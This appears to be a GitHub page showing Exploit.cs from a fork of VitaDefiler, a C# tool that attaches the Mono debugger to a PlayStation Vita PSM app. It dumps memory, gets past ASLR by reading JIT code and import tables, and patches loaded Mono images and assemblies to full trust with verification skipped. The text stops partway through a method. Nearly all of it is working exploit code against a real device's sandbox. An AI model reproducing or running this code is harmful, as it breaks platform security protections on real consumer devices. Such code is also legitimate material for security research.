forked from yifanlu/VitaDefiler
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Exploit.cs
938 lines (851 loc) · 38.1 KB
/
Exploit.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Reflection;
using Mono.Debugger.Soft;
using System.Runtime.InteropServices;
using System.Threading;
using VitaDefiler.PSM;
using System.Security.Permissions;
namespace VitaDefiler
{
class Exploit
{
private static readonly int BLOCK_SIZE = 0x100;
private static readonly string INSTALL_NAME = "VitaDefilerClient";
private Vita _vita;
public Exploit(GetConnection getconn, string package, string appkeypath)
{
_vita = new Vita(getconn, INSTALL_NAME, package, appkeypath);
}
private static Int64 UIntToVitaInt(uint val)
{
Int64 vita_val = BitConverter.ToInt64(new byte[] { 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF }, 0);
vita_val += val;
return vita_val;
}
private static uint VitaIntToUInt(Int64 val)
{
Int64 vita_val = BitConverter.ToInt64(new byte[] { 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF }, 0);
val -= vita_val;
return (uint)val;
}
public void Connect(bool useUsb, Action<string> consoleCallback)
{
_vita.Start(useUsb, consoleCallback);
}
public void Disconnect()
{
_vita.Stop();
}
public void StartDump(uint addr, uint len, FileStream dump = null)
{
if (len == 0)
{
// dump all of ram
len = 0xFFFFFFFF - addr;
}
long methid_copy = _vita.GetMethod(true, "System.Runtime.InteropServices.Marshal", "Copy", 4, new string[] { "IntPtr", "Byte[]", "Int32", "Int32" });
if (methid_copy < 0)
{
Console.WriteLine("Cannot find Copy method.");
return;
}
// weird address format for IntPtr on vita
/* DEPRECATED BECAUSE GC WILL DELETE THESE
ValueImpl src = v.CreateIntPtr(UIntToVitaInt(addr));
ValueImpl dest = v.CreateArray("System.Byte", BLOCK_SIZE);
*/
ValueImpl dest = _vita.GetField(false, "VitaDefilerClient.AppMain", "dest");
dest.Type = ElementType.Object; // must be done
ValueImpl src = _vita.GetField(false, "VitaDefilerClient.AppMain", "src");
if (dest == null)
{
Console.WriteLine("Cannot find buffer to write to.");
return;
}
if (src == null)
{
Console.WriteLine("Cannot find pointer to read from.");
return;
}
src.Fields[0].Value = UIntToVitaInt(addr);
byte[] block = new byte[BLOCK_SIZE];
// error block will be written when block cannot be read
byte[] error_block = new byte[BLOCK_SIZE];
for (int i = 0; i < BLOCK_SIZE; i++)
error_block[i] = (byte)'X';
ValueImpl sti = new ValueImpl();
ValueImpl dlen = new ValueImpl();
sti.Type = ElementType.I4;
dlen.Type = ElementType.I4;
sti.Value = 0;
dlen.Value = BLOCK_SIZE;
_vita.Suspend();
Console.WriteLine("Starting dump...");
for (int d = 0; d * BLOCK_SIZE <= len; d++)
{
try
{
if (dump != null)
{
dump.Flush();
}
Console.WriteLine("Dumping 0x{0:X}", src.Fields[0].Value);
ValueImpl ret = _vita.RunMethod(methid_copy, null, new ValueImpl[] { src, dest, sti, dlen }, true);
if (ret == null)
{
throw new TargetException("Method never returned.");
}
_vita.GetBuffer(dest.Objid, BLOCK_SIZE, ref block);
if (dump == null)
{
block.PrintHexDump((uint)BLOCK_SIZE, 16);
}
int num = BLOCK_SIZE;
if (d * BLOCK_SIZE + num > len)
num = (int)(len - d * BLOCK_SIZE);
if (dump != null)
{
dump.Write(block, 0, num);
}
}
catch (InvalidOperationException) // vm not suspended, retry
{
Console.WriteLine("VM_NOT_SUSPENDED, retrying...");
d--;
continue;
}
catch (Vita.RunMethodException ex)
{
Console.WriteLine("Error dumping 0x{0:X}: {1}", src.Fields[0].Value, ex.Message.ToString());
int num = BLOCK_SIZE;
if (d * BLOCK_SIZE + num > len)
num = (int)(len - d * BLOCK_SIZE);
if (dump != null)
{
dump.Write(error_block, 0, num);
}
}
// next block to dump
src.Fields[0].Value = (Int64)src.Fields[0].Value + BLOCK_SIZE;
if (d % 1000 == 0)
{
// must be done or app will freeze
_vita.Resume();
_vita.Suspend();
}
}
if (dump != null)
{
dump.Close();
}
_vita.Resume();
}
private int FindUnityVersion(uint exitFuncPtr)
{
long methid_readint32 = _vita.GetMethod(true, "System.Runtime.InteropServices.Marshal", "ReadInt32", 2, new string[] { "IntPtr", "Int32" });
if (methid_readint32 < 0)
{
throw new TargetException("Cannot get method id for ReadInt32");
}
uint magic_val = 0x6F6E6F6D; // "mono"
ValueImpl exitFuncPtrAddr = _vita.CreateIntPtr(UIntToVitaInt(exitFuncPtr - 1));
// Check for Unity 1.05
ValueImpl offset = new ValueImpl();
offset.Value = 0x110D08;
ValueImpl val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { exitFuncPtrAddr, offset });
if (VitaIntToUInt((Int32)val.Value) == magic_val)
{
return 0x105;
}
// Check for Unity 1.06
offset.Value = 0x110C00;
val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { exitFuncPtrAddr, offset });
if (VitaIntToUInt((Int32)val.Value) == magic_val)
{
return 0x106;
}
throw new InvalidOperationException("Unsupported Unity version!");
return 0x0;
}
public uint DefeatASLR(out uint images_hash_ptr, out uint alloc_fptr, out uint free_fptr, out uint unlock_fptr, out uint lock_fptr, out uint flush_fptr, out uint libkernel_anchor)
{
// step 0, setup
long methid_gettype = _vita.GetMethod(true, "System.Type", "GetType", 1, new string[] { "String" });
if (methid_gettype < 0)
{
throw new TargetException("Cannot get method id for Type.GetType");
}
long methid_getmethod = _vita.GetMethod(true, "System.Type", "GetMethod", 1, new string[] { "String" });
if (methid_getmethod < 0)
{
throw new TargetException("Cannot get method id for Type.GetMethod");
}
long methid_getruntimehandle = _vita.GetMethod(true, "System.Reflection.MonoMethod", "get_MethodHandle", 0, new string[] { });
if (methid_getruntimehandle < 0)
{
throw new TargetException("Cannot get method id for System.Reflection.MonoMethod.get_MethodHandle");
}
long methid_fptr = _vita.GetMethod(true, "System.RuntimeMethodHandle", "GetFunctionPointer", 0, new string[] { });
if (methid_fptr < 0)
{
throw new TargetException("Cannot get method id for System.RuntimeMethodHandle.GetFunctionPointer");
}
long methid_readint32 = _vita.GetMethod(true, "System.Runtime.InteropServices.Marshal", "ReadInt32", 2, new string[] { "IntPtr", "Int32" });
if (methid_readint32 < 0)
{
throw new TargetException("Cannot get method id for ReadInt32");
}
// step 1, get method handle
ValueImpl environment_str = _vita.CreateString("System.Environment");
ValueImpl env_type = _vita.RunMethod(methid_gettype, null, new ValueImpl[] { environment_str });
Console.WriteLine("System.Environment Type object: 0x{0:X}", VitaIntToUInt((Int64)env_type.Objid));
ValueImpl exit_str = _vita.CreateString("Exit");
env_type.Type = ElementType.Object; // BUG with debugger
ValueImpl methodinfo = _vita.RunMethod(methid_getmethod, env_type, new ValueImpl[] { exit_str });
Console.WriteLine("System.Environment.Exit MonoMethod object: 0x{0:X}", VitaIntToUInt((Int64)methodinfo.Objid));
methodinfo.Type = ElementType.Object; // BUG with debugger
ValueImpl runtimehandle = _vita.RunMethod(methid_getruntimehandle, methodinfo, new ValueImpl[] { });
Console.WriteLine("System.Environment.Exit RuntimeMethodHandle object: 0x{0:X}", VitaIntToUInt((Int64)runtimehandle.Objid));
ValueImpl funcptr = _vita.RunMethod(methid_fptr, runtimehandle, new ValueImpl[] { });
Console.WriteLine("System.Environment.Exit function pointer: 0x{0:X}", VitaIntToUInt((Int64)funcptr.Fields[0].Value));
// step 2, read function pointer to Exit icall from JIT code
ValueImpl offset = new ValueImpl();
offset.Type = ElementType.I4;
offset.Value = 0x90;
ValueImpl movw_val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { funcptr, offset });
offset.Value = 0x94;
ValueImpl movt_val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { funcptr, offset });
uint addr;
uint instr;
Utilities.DecodeResult type;
instr = VitaIntToUInt((Int32)movw_val.Value);
addr = Utilities.DecodeARM32(instr, out type);
if (type != Utilities.DecodeResult.INSTRUCTION_MOVW)
{
throw new TargetException(string.Format("Invalid instruction, expected MOVW, got: 0x{0:X}", instr));
}
instr = VitaIntToUInt((Int32)movt_val.Value);
addr |= Utilities.DecodeARM32(instr, out type) << 16;
if (type != Utilities.DecodeResult.INSTRUCTION_MOVT)
{
throw new TargetException(string.Format("Invalid instruction, expected MOVT, got: 0x{0:X}", instr));
}
Console.WriteLine("Found fptr for Environment.Exit at: 0x{0:X}", addr);
// step 3, use offset to find mono_images_init and get hashmap pointer
#if USE_UNITY
uint mono_images_init_addr = addr - 1 + 0x129E;
#else
uint mono_images_init_addr = addr - 1 + 0x1206;
#endif
ValueImpl initaddr = _vita.CreateIntPtr(UIntToVitaInt(mono_images_init_addr));
offset.Value = 0;
movw_val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { initaddr, offset });
offset.Value = 4;
movt_val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { initaddr, offset });
instr = VitaIntToUInt((Int32)movw_val.Value);
images_hash_ptr = Utilities.DecodeThumb2((UInt16)(instr & 0xFFFF), (UInt16)(instr >> 16), out type);
if (type != Utilities.DecodeResult.INSTRUCTION_MOVW)
{
throw new TargetException(string.Format("Invalid instruction, expected MOVW, got: 0x{0:X}", instr));
}
instr = VitaIntToUInt((Int32)movt_val.Value);
images_hash_ptr |= (uint)Utilities.DecodeThumb2((UInt16)(instr & 0xFFFF), (UInt16)(instr >> 16), out type) << 16;
if (type != Utilities.DecodeResult.INSTRUCTION_MOVT)
{
throw new TargetException(string.Format("Invalid instruction, expected MOVT, got: 0x{0:X}", instr));
}
Console.WriteLine("Found ptr for loaded_images_hash at: 0x{0:X}", images_hash_ptr);
// step 4, use offset to find import table for SceLibMonoBridge functions
#if USE_UNITY
// Determine Unity version...
int unity_version = FindUnityVersion(addr);
#endif
#if PSM_111
uint import_table = addr - 1 + 0x12dbaa;
#elif USE_UNITY
uint import_table = addr - 1 + (uint)(unity_version == 0x105 ? 0x1118A0 : 0x1117C8);
#else
uint import_table = addr - 1 + 0x12D7A2;
#endif
ValueImpl faddr = _vita.CreateIntPtr(UIntToVitaInt(import_table));
#if USE_UNITY
offset.Value = 0xBC;
#else
offset.Value = 0x184;
#endif
ValueImpl fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
unlock_fptr = VitaIntToUInt((Int32)fval.Value);
#if USE_UNITY
offset.Value = 0x74;
#else
offset.Value = 0x198;
#endif
fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
lock_fptr = VitaIntToUInt((Int32)fval.Value);
#if USE_UNITY
offset.Value = unity_version == 0x105 ? 0x1BC : 0xFC;
#else
offset.Value = 0x350;
#endif
fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
free_fptr = VitaIntToUInt((Int32)fval.Value);
#if PSM_111
offset.Value = 0x460;
#elif USE_UNITY
offset.Value = 0x64;
#else
offset.Value = 0x468;
#endif
fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
alloc_fptr = VitaIntToUInt((Int32)fval.Value);
#if USE_UNITY
offset.Value = 0x54;
#else
offset.Value = 0x40;
#endif
fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
flush_fptr = VitaIntToUInt((Int32)fval.Value);
// find SceLibKernel import table for anchor
#if PSM_111
import_table = addr - 1 + 0x12e18a;
#elif USE_UNITY
import_table = addr - 1 + (uint)(unity_version == 0x105 ? 0x111C98 : 0x111BC0);
#else
import_table = addr - 1 + 0x12DD7E;
#endif
faddr = _vita.CreateIntPtr(UIntToVitaInt(import_table));
offset.Value = 0x0;
fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
libkernel_anchor = VitaIntToUInt((Int32)fval.Value);
Console.WriteLine("Found unlock 0x{0:X}, lock 0x{1:X}, free 0x{2:X}, alloc 0x{3:X}, anchor 0x{4:X}", unlock_fptr, lock_fptr, free_fptr, alloc_fptr, libkernel_anchor);
return 0;
}
public void EscalatePrivilege(uint mono_images_hashmap_pointer)
{
// step 0, setup
long methid_readintptr = _vita.GetMethod(true, "System.Runtime.InteropServices.Marshal", "ReadIntPtr", 2, new string[] { "IntPtr", "Int32" });
if (methid_readintptr < 0)
{
throw new TargetException("Cannot get method id for ReadIntPtr");
}
long methid_readint32 = _vita.GetMethod(true, "System.Runtime.InteropServices.Marshal", "ReadInt32", 2, new string[] { "IntPtr", "Int32" });
if (methid_readint32 < 0)
{
throw new TargetException("Cannot get method id for ReadInt32");
}
long methid_writeint32 = _vita.GetMethod(true, "System.Runtime.InteropServices.Marshal", "WriteInt32", 3, new string[] { "IntPtr", "Int32", "Int32" });
if (methid_writeint32 < 0)
{
throw new TargetException("Cannot get method id for WriteInt32");
}
// step 1, find out where the hashmap is stored
ValueImpl zero = new ValueImpl();
zero.Type = ElementType.I4;
zero.Value = 0;
ValueImpl ptr_to_hashmap = _vita.CreateIntPtr(UIntToVitaInt(mono_images_hashmap_pointer));
ValueImpl offset = new ValueImpl();
offset.Type = ElementType.I4;
offset.Value = 0;
ValueImpl hashmap = _vita.RunMethod(methid_readintptr, null, new ValueImpl[] { ptr_to_hashmap, offset });
Console.WriteLine("Images hashmap located at: 0x{0:X}", VitaIntToUInt((Int64)hashmap.Fields[0].Value));
// step 2, find hashmap data
offset.Value = 8;
ValueImpl hashmap_data = _vita.RunMethod(methid_readintptr, null, new ValueImpl[] { hashmap, offset });
Console.WriteLine("Hashmap entries located at: 0x{0:X}", VitaIntToUInt((Int64)hashmap_data.Fields[0].Value));
offset.Value = 12;
ValueImpl hashmap_len = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { hashmap, offset });
Console.WriteLine("Images hashmap has {0} entries", hashmap_len.Value);
// step 3, get entries
Console.WriteLine("Patching all loaded images to be corlib images.");
for (int i = 0; i < (Int32)hashmap_len.Value; i++)
{
offset.Value = i * 4;
ValueImpl entry = _vita.RunMethod(methid_readintptr, null, new ValueImpl[] { hashmap_data, offset });
while (VitaIntToUInt((Int64)entry.Fields[0].Value) > 0) // each item in slot
{
Console.WriteLine("Entry {0} found at: 0x{1:X}", i, VitaIntToUInt((Int64)entry.Fields[0].Value));
offset.Value = 4;
ValueImpl image_data = _vita.RunMethod(methid_readintptr, null, new ValueImpl[] { entry, offset });
Console.WriteLine("Image data found at: 0x{0:X}", VitaIntToUInt((Int64)image_data.Fields[0].Value));
offset.Value = 16;
ValueImpl image_attributes = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { image_data, offset });
Console.WriteLine("Image attributes: 0x{0:X}", image_attributes.Value);
// step 4, patch the attribute to include corlib
image_attributes.Value = (Int32)image_attributes.Value | (1 << 10);
_vita.RunMethod(methid_writeint32, null, new ValueImpl[] { image_data, offset, image_attributes });
Console.WriteLine("Image attributes patched to: 0x{0:X}", image_attributes.Value);
// step 5, patch assembly to skip verification
Console.WriteLine("Patching assembly in this image to be full trust and skip verification.");
offset.Value = 664;
ValueImpl assembly = _vita.RunMethod(methid_readintptr, null, new ValueImpl[] { image_data, offset });
Console.WriteLine("Found assembly at: 0x{0:X}", VitaIntToUInt((Int64)assembly.Fields[0].Value));
offset.Value = 88;
ValueImpl assembly_attributes = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { assembly, offset });
Console.WriteLine("Assembly attributes: 0x{0:X}", assembly_attributes.Value);
// set ecma, aptc, fulltrust, unmanaged, skipverification to true and initialized
assembly_attributes.Value = (Int32)assembly_attributes.Value | (0xFFFF << 16);
_vita.RunMethod(methid_writeint32, null, new ValueImpl[] { assembly, offset, assembly_attributes });
Console.WriteLine("Assembly attributes patched to: 0x{0:X}", assembly_attributes.Value);
offset.Value = 8;
entry = _vita.RunMethod(methid_readintptr, null, new ValueImpl[] { entry, offset }); // next item in this slot in hashmap
}
}
}
public void StartNetworkListener()
{
/*
ValueImpl ready = new ValueImpl();
ready.Value = true;
_vita.SetField(false, "VitaDefilerClient.AppMain", "exploited", ready);
*/
long methid_exploit = _vita.GetMethod(false, "VitaDefilerClient.CommandListener", "StartListener", 0, null);
_vita.RunMethod(methid_exploit, null, null);
}
public void ResumeVM()
{
_vita.Resume();
}
public void SuspendVM()
{
_vita.Suspend();
}
}
}
namespace VitaDefiler.PSM
{
class ConnEventHandler : IEventHandler
{
public void Events(SuspendPolicy suspend_policy, EventInfo[] events)
{
foreach (EventInfo e in events)
{
Console.WriteLine("Event Recieved: {0}", e.EventType);
}
}
public void VMDisconnect(int req_id, long thread_id, string vm_uri)
{
return;
}
public void ErrorEvent(object sender, EventArgs e)
{
return;
}
}
class Vita
{
public class RunMethodException : Exception
{
public RunMethodException(string msg)
: base(msg)
{
}
}
private long rootdomain = -1, threadid = -1, corlibid = -1, assid = -1;
private Guid handle;
private Connection conn;
private string name;
private string package;
private string appkeypath;
private PsmDeviceConsoleCallback callback;
private Thread reciever;
private GetConnection getconn;
public Vita(GetConnection getconn, string name, string package, string appkeypath)
{
this.getconn = getconn;
this.name = name;
this.package = string.IsNullOrEmpty(package) ? null : Path.GetFullPath(package);
this.appkeypath = appkeypath;
}
private void HandleConnErrorHandler(object sender, ErrorHandlerEventArgs args)
{
Console.WriteLine("Error: {0}", args.ErrorCode);
switch (args.ErrorCode)
{
case ErrorCode.NOT_IMPLEMENTED:
throw new NotSupportedException("This request is not supported by the protocol version implemented by the debuggee.");
case ErrorCode.NOT_SUSPENDED:
throw new InvalidOperationException("The vm is not suspended.");
case ErrorCode.ABSENT_INFORMATION:
throw new AbsentInformationException();
case ErrorCode.NO_SEQ_POINT_AT_IL_OFFSET:
throw new ArgumentException("Cannot set breakpoint on the specified IL offset.");
case ErrorCode.INVALID_FRAMEID:
throw new InvalidStackFrameException();
case ErrorCode.INVALID_OBJECT:
throw new ObjectCollectedException();
}
throw new NotImplementedException(String.Format("{0}", args.ErrorCode));
}
public void Start(bool useUsb, Action<string> consoleCallback)
{
string serial = ""; // Only when using USB do you need an actual 'serial' name.
int ret;
if (useUsb || !string.IsNullOrEmpty(package))
{
Console.WriteLine("Waiting for Vita to connect...");
ScePsmDevice? vita = null;
for (; ; )
{
ScePsmDevice[] deviceArray;
PSMFunctions.ListDevices(out deviceArray);
foreach (ScePsmDevice dev in deviceArray)
{
if (dev.online > 0)
{
vita = dev;
break;
}
}
if (vita != null)
{
break;
}
}
Guid devId = vita.Value.guid;
serial = new string(vita.Value.deviceID, 0, 17);
Console.WriteLine("Found Vita {0}, serial: {1}", devId, serial);
if ((ret = PSMFunctions.Connect(devId)) < 0)
{
Console.WriteLine("Error connecting to Vita: 0x{0:X}", ret);
throw new IOException("Cannot connect to Vita.");
}
this.handle = devId;
// request version or other calls will fail
#if USE_UNITY
string devagentver = null;
string hosttransportver = null;
if ((ret = PSMFunctions.GetAgentVersion(this.handle, ref devagentver, ref hosttransportver)) != 0)
{
Console.WriteLine("Error getting version: 0x{0:X}", ret);
throw new IOException("Cannot connect to Vita.");
}
Console.WriteLine("Connected agent version: {0}, transport version: {1}", devagentver, hosttransportver);
#else
PSMFunctions.Version(this.handle);
#endif
#if USE_APP_KEY
byte[] buffer = File.ReadAllBytes("kdev.p12");
if ((ret = PSMFunctions.ExistAppExeKey(this.handle, DRMFunctions.ReadAccountIdFromKdevP12(buffer), "*", "np")) != 1)
{
Console.WriteLine("Setting app key to: {0}", appkeypath);
if ((ret = PSMFunctions.SetAppExeKey(this.handle, appkeypath)) != 0)
{
Console.WriteLine("Error setting key: 0x{0:X}", ret);
throw new IOException("Cannot set app key.");
}
}
#endif
}
if (!string.IsNullOrEmpty(package))
{
Console.WriteLine("Installing package {0} as {1}.", package, name);
if ((ret = PSMFunctions.Install(this.handle, package, name)) != 0)
{
Console.WriteLine("Error installing package: 0x{0:X}", ret);
throw new IOException("Cannot connect to Vita.");
}
Console.WriteLine("Successfully installed package.");
Thread.Sleep(500);
#if !USE_ANDROID
if (Program.exitAfterInstall)
{
Environment.Exit(0);
}
#endif
}
if (useUsb)
{
callback = new PsmDeviceConsoleCallback(consoleCallback);
Console.WriteLine("Setting console callback.");
PSMFunctions.SetConsoleWrite(this.handle, Marshal.GetFunctionPointerForDelegate(callback));
Console.WriteLine("Launching {0}.", name);
#if USE_UNITY
if ((ret = PSMFunctions.LaunchUnity(this.handle, name, 0, new string[] { })) != 0)
{
Console.WriteLine("Error running application: 0x{0:X}", ret);
throw new IOException("Cannot connect to Vita.");
}
#else
if ((ret = PSMFunctions.Launch(this.handle, name, true, false, false, false, "")) != 0)
{
Console.WriteLine("Error running application: 0x{0:X}", ret);
throw new IOException("Cannot connect to Vita.");
}
#endif
}
Console.WriteLine("Connecting debugger.");
conn = getconn(serial);
conn.EventHandler = new ConnEventHandler();
conn.ErrorHandler += HandleConnErrorHandler;
conn.Connect(out reciever);
Console.WriteLine("Waiting for app to start up...");
#if !USE_UNITY
conn.VM_Resume();
#endif
Thread.Sleep(2000);
Console.WriteLine("Getting variables.");
rootdomain = conn.RootDomain;
corlibid = conn.Domain_GetCorlib(rootdomain);
assid = conn.Domain_GetEntryAssembly(rootdomain);
foreach (long thread in conn.VM_GetThreads())
{
if (conn.Thread_GetName(thread) == "")
{
threadid = thread;
}
}
//Console.WriteLine ("Root Domain: {0}\nCorlib: {1}\nExeAssembly: {2}\nThread: {3}", rootdomain, corlibid, assid, threadid);
Console.WriteLine("Ready for hacking.");
}
[SecurityPermissionAttribute(SecurityAction.Demand, ControlThread = true)]
public void Stop()
{
Console.WriteLine("Stopping debugger.");
if (reciever != null)
{
reciever.Abort();
}
conn.Close();
conn = null;
#if CLEAN_EXIT
Console.WriteLine("Killing running app.");
PSMFunctions.Kill(this.handle);
//Console.WriteLine("Uninstalling app.");
//PSMFunctions.Uninstall(this.handle, name);
Console.WriteLine("Disconnecting Vita.");
PSMFunctions.Disconnect(this.handle);
#endif
}
public void Suspend()
{
conn.VM_Suspend();
}
public void Resume()
{
conn.VM_Resume();
}
public long GetMethod(bool incorlib, string typename, string methodname, int numparams, string[] paramtypenames)
{
long assembly = incorlib ? corlibid : assid;
long type = conn.Assembly_GetType(assembly, typename, false);
long[] methods = conn.Type_GetMethods(type);
foreach (long method in methods)
{
string name = conn.Method_GetName(method);
if (name != methodname)
continue;
ParamInfo info = conn.Method_GetParamInfo(method);
if (info.param_count != numparams)
continue;
if (paramtypenames != null)
{
bool bad = false;
for (int i = 0; i < paramtypenames.Length; i++)
{
if (conn.Type_GetInfo(info.param_types[i]).name != paramtypenames[i])
{
bad = true;
break;
}
}
if (bad)
{
continue;
}
}
return method;
}
return -1;
}
public ValueImpl RunMethod(long methodid, ValueImpl thisval, ValueImpl[] param)
{
#if USE_UNITY
bool paused = true; // It just doesn't work if 'false' is passed in for Unity...
#else
bool paused = false;
#endif
return RunMethod(methodid, thisval, param, paused);
}
// pausing the VM is slow, if we're calling this a million times, only need to pause once
public ValueImpl RunMethod(long methodid, ValueImpl thisval, ValueImpl[] param, bool paused)
{
if (thisval == null)
{
thisval = new ValueImpl();
thisval.Type = (ElementType)0xf0;
}
ValueImpl ret, exc;
if (!paused)
{
conn.VM_Suspend(); // must be suspended
}
ret = conn.VM_InvokeMethod(threadid, methodid, thisval, param == null ? new ValueImpl[] { } : param, InvokeFlags.NONE, out exc);
if (!paused)
{
conn.VM_Resume();
}
if (ret != null)
{
return ret;
}
if (exc != null)
{
long excmeth = GetMethod(true, "System.Exception", "ToString", 0, null);
exc.Type = ElementType.Object; // must do this stupid mono
ValueImpl excmsg = RunMethod(excmeth, exc, null, paused);
Console.WriteLine(conn.String_GetValue(excmsg.Objid));
throw new RunMethodException("Error running method.");
}
return null;
}
public ValueImpl GetField(bool incorlib, string typename, string fieldname)
{
long assembly = incorlib ? corlibid : assid;
long typeid = conn.Assembly_GetType(assembly, typename, false);
string[] f_names;
long[] f_types;
int[] f_attrs;
long[] fields = conn.Type_GetFields(typeid, out f_names, out f_types, out f_attrs);
long targetfield = -1;
int i;
for (i = 0; i < f_names.Length; i++)
{
if (f_names[i] == fieldname)
{
targetfield = fields[i];
break;
}
}
if (targetfield < 0)
{
return null;
}
ValueImpl[] values = conn.Type_GetValues(typeid, new long[] { targetfield }, threadid);
if (values == null || values.Length == 0)
{
return null;
}
return values[0];
}
public void SetField(bool incorlib, string typename, string fieldname, ValueImpl value)
{
long assembly = incorlib ? corlibid : assid;
long typeid = conn.Assembly_GetType(assembly, typename, false);
string[] f_names;
long[] f_types;
int[] f_attrs;
long[] fields = conn.Type_GetFields(typeid, out f_names, out f_types, out f_attrs);
long targetfield = -1;
int i;
for (i = 0; i < f_names.Length; i++)
{
if (f_names[i] == fieldname)
{
targetfield = fields[i];
break;
}
}
if (targetfield < 0)
{
Console.Error.WriteLine("Cannot find field '{0}'", fieldname);
return;
}
conn.Type_SetValues(typeid, new long[] { targetfield }, new ValueImpl[] { value });
}
public void GetBuffer(long objid, int len, ref byte[] buf)
{
if (buf == null)
{
buf = new byte[len];
}
ValueImpl[] vals = conn.Array_GetValues(objid, 0, len);
for (int i = 0; i < vals.Length; i++)
{
buf[i] = (byte)vals[i].Value;
}
}
public void SetBuffer(long objid, byte[] buf, int offset, int len)
{
if (buf == null || buf.Length == 0)
return;
if (len > buf.Length)
throw new ArgumentException("len > buf.Length");
ValueImpl[] vals = new ValueImpl[len];
for (int i = 0; i < len; i++)
{
vals[i] = new ValueImpl();
vals[i].Type = ElementType.U1;
vals[i].Value = buf[offset + i];
}
conn.Array_SetValues(objid, offset, vals);
}
public void SetArray(long objid, ValueImpl[] values)
{
conn.Array_SetValues(objid, 0, values);
}
public long GetTypeObjID(bool incorlib, string name)
{
long assembly = incorlib ? corlibid : assid;
long tid = conn.Assembly_GetType(assembly, name, true);
return conn.Type_GetObject(tid);
}
public int GetArrayLength(long objid)
{
int rank;
int[] lower_bounds;
int[] len = conn.Array_GetLength(objid, out rank, out lower_bounds);
if (rank != 1)
{
return -1;
}
return len[0];
}
public ValueImpl CreateString(string str)
{
ValueImpl data = new ValueImpl();
data.Type = ElementType.Object;
data.Objid = conn.Domain_CreateString(conn.RootDomain, str);
return data;
}
public ValueImpl CreateIntPtr(Int64 val)
{
